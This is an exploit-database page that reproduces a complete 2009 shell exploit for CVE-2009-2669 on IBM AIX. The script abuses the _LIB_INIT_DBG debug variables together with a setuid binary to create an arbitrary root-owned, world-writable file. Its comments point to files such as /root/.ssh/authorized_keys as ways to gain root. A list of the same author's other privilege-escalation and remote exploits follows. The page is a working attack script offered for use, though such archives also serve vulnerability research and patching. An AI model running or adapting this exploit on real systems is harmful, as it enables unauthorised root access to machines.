Search for hundreds of thousands of exploits

"IBM AIX 5.6/6.1 - '_LIB_INIT_DBG' Arbitrary File Overwrite via Libc Debug"

Author

Exploit author

"Marco Ivaldi"

Platform

Exploit platform

aix

Release date

Exploit published date

2009-09-11

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#!/bin/sh

#
# $Id: raptor_libC,v 1.1 2009/09/10 15:08:04 raptor Exp $
#
# raptor_libC - AIX arbitrary file overwrite via libC debug
# Copyright (c) 2009 Marco Ivaldi <raptor@mediaservice.net>
#
# Property of @ Mediaservice.net Srl Data Security Division
# http://www.mediaservice.net/ http://lab.mediaservice.net/
#
# *** DON'T RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***
#
# A certain debugging component in IBM AIX 5.3 and 6.1 does not properly handle 
# the (1) _LIB_INIT_DBG and (2) _LIB_INIT_DBG_FILE environment variables, which 
# allows local users to gain privileges by leveraging a setuid-root program to 
# create an arbitrary root-owned file with world-writable permissions, related 
# to libC.a (aka the XL C++ runtime library) in AIX 5.3 and libc.a in AIX 6.1
# (CVE-2009-2669).
#
# Typical privilege escalation techniques via arbitrary file creation don't 
# seem to work on recent AIX versions: .rhosts is ignored if it is group or 
# world writable; LIBPATH and LDR_PRELOAD have no effect for setuid binaries; 
# /var/spool/cron/atjobs seems useless as well, since we cannot open cron's
# named pipe /var/adm/cron/FIFO. Other viable exploitation vectors that come 
# to mind, depending on the target box setup, are: /root/.ssh/authorized_keys, 
# /root/{.profile,.kshrc}, and /etc/rc.d/rc2.d.
#
# See also: http://milw0rm.com/exploits/9306
#
# Usage:
# $ uname -a
# AIX rs6000 3 5 0052288E4C00
# $ lslpp -L xlC.rte | grep xlC.rte
# xlC.rte                    9.0.0.1    C     F    XL C/C++ Runtime 
# $ chmod +x raptor_libC
# $ ./raptor_libC /bin/bobobobobob
# [...]
# -rw-rw-rw-   1 root     staff            63 Sep 10 09:55 /bin/bobobobobob
#
# Vulnerable platforms (AIX 5.3):
# xlC.rte < 8.0.0.0		[untested]
# xlC.rte 8.0.0.0-8.0.0.14	[untested]
# xlC.rte 9.0.0.0-9.0.0.9	[tested]
# xlC.rte 10.1.0.0-10.1.0.2	[untested]
#
# Vulnerable platforms (AIX 6.1):
# bos.rte.libc 6.1.0.0-6.1.0.11	[untested]
# bos.rte.libc 6.1.1.0-6.1.1.6	[untested]
# bos.rte.libc 6.1.2.0-6.1.2.5	[untested]
# bos.rte.libc 6.1.3.0-6.1.3.2	[untested]
# bos.adt.prof 6.1.0.0-6.1.0.10	[untested]
# bos.adt.prof 6.1.1.0-6.1.1.5	[untested]
# bos.adt.prof 6.1.2.0-6.1.2.4	[untested]
# bos.adt.prof 6.1.3.0-6.1.3.1	[untested]
#

echo "raptor_libC - AIX arbitrary file overwrite via libC debug"
echo "Copyright (c) 2009 Marco Ivaldi <raptor@mediaservice.net>"
echo

# check the arguments
if [ -z "$1" ]; then
	echo "*** DON'T RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***"
	echo
	echo "Usage: $0 <filename>"
	echo
	exit
fi

# prepare the environment
_LIB_INIT_DBG=1
_LIB_INIT_DBG_FILE=$1
export _LIB_INIT_DBG _LIB_INIT_DBG_FILE

# gimme -rw-rw-rw-!
umask 0

# setuid program linked to /usr/lib/libC.a
/usr/dt/bin/dtappgather

# other good setuid targets
# /usr/dt/bin/dtprintinfo
# /opt/IBMinvscout/bin/invscoutClient_VPD_Survey

# check the created file
ls -l $_LIB_INIT_DBG_FILE
echo

# milw0rm.com [2009-09-11]
Release DateTitleTypePlatformAuthor
2020-04-21"Oracle Solaris Common Desktop Environment 1.6 - Local Privilege Escalation"localsolaris"Marco Ivaldi"
2020-02-11"OpenSMTPD 6.4.0 < 6.6.1 - Local Privilege Escalation + Remote Code Execution"remotefreebsd"Marco Ivaldi"
2020-01-16"SunOS 5.10 Generic_147148-26 - Local Privilege Escalation"localmultiple"Marco Ivaldi"
2019-10-21"Solaris 11.4 - xscreensaver Privilege Escalation"localsolaris"Marco Ivaldi"
2019-10-16"Solaris xscreensaver 11.4 - Privilege Escalation"localsolaris"Marco Ivaldi"
2019-06-17"Exim 4.87 - 4.91 - Local Privilege Escalation"locallinux"Marco Ivaldi"
2019-05-20"Solaris 7/8/9 (SPARC) - 'dtprintinfo' Local Privilege Escalation (1)"localsolaris"Marco Ivaldi"
2019-05-20"Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation"localsolaris"Marco Ivaldi"
2019-05-20"Solaris 7/8/9 (SPARC) - 'dtprintinfo' Local Privilege Escalation (2)"localsolaris"Marco Ivaldi"
2019-01-14"xorg-x11-server < 1.20.3 - Local Privilege Escalation (Solaris 11 inittab)"localsolaris"Marco Ivaldi"
2018-11-30"xorg-x11-server < 1.20.3 - 'modulepath' Local Privilege Escalation"localopenbsd"Marco Ivaldi"
2018-10-30"xorg-x11-server 1.20.3 - Privilege Escalation"localopenbsd"Marco Ivaldi"
2009-09-11"IBM AIX 5.6/6.1 - '_LIB_INIT_DBG' Arbitrary File Overwrite via Libc Debug"localaix"Marco Ivaldi"
2008-03-10"Solaris 8/9/10 - 'fifofs I_PEEK' Local Kernel Memory Leak"localsolaris"Marco Ivaldi"
2007-04-04"TrueCrypt 4.3 - 'setuid' Local Privilege Escalation"localwindows"Marco Ivaldi"
2007-02-13"Lotus Domino R6 Webmail - Remote Password Hash Dumper"remotewindows"Marco Ivaldi"
2007-02-13"Portable OpenSSH 3.6.1p-PAM/4.1-SuSE - Timing Attack"remotemultiple"Marco Ivaldi"
2007-02-06"MySQL 4.x/5.0 (Windows) - User-Defined Function Command Execution"remotewindows"Marco Ivaldi"
2006-12-19"Oracle 9i/10g - 'extproc' Local/Remote Command Execution"remotemultiple"Marco Ivaldi"
2006-12-19"Oracle 9i/10g - 'utl_file' FileSystem Access"remotelinux"Marco Ivaldi"
2006-11-23"Oracle 9i/10g - 'read/write/execute' ation Suite"remotemultiple"Marco Ivaldi"
2006-10-24"Sun Solaris Netscape Portable Runtime API 4.6.1 - Local Privilege Escalation (2)"localsolaris"Marco Ivaldi"
2006-10-24"Solaris 10 libnspr - 'Constructor' Arbitrary File Creation Privilege Escalation (3)"localsolaris"Marco Ivaldi"
2006-10-16"Solaris 10 libnspr - 'LD_PRELOAD' Arbitrary File Creation Privilege Escalation (2)"localsolaris"Marco Ivaldi"
2006-10-13"Sun Solaris Netscape Portable Runtime API 4.6.1 - Local Privilege Escalation (1)"localsolaris"Marco Ivaldi"
2006-10-13"Solaris 10 libnspr - 'LD_PRELOAD' Arbitrary File Creation Privilege Escalation (1)"localsolaris"Marco Ivaldi"
2006-09-13"X11R6 < 6.4 XKEYBOARD (Solaris/SPARC) - Local Buffer Overflow (2)"localsolaris"Marco Ivaldi"
2006-08-22"Solaris 8/9 - '/usr/ucb/ps' Local Information Leak"localsolaris"Marco Ivaldi"
2006-08-22"Solaris 10 sysinfo(2) - Local Kernel Memory Disclosure (2)"localsolaris"Marco Ivaldi"
2006-07-18"Linux Kernel 2.6.13 < 2.6.17.4 - 'logrotate prctl()' Local Privilege Escalation"locallinux"Marco Ivaldi"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/9645/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.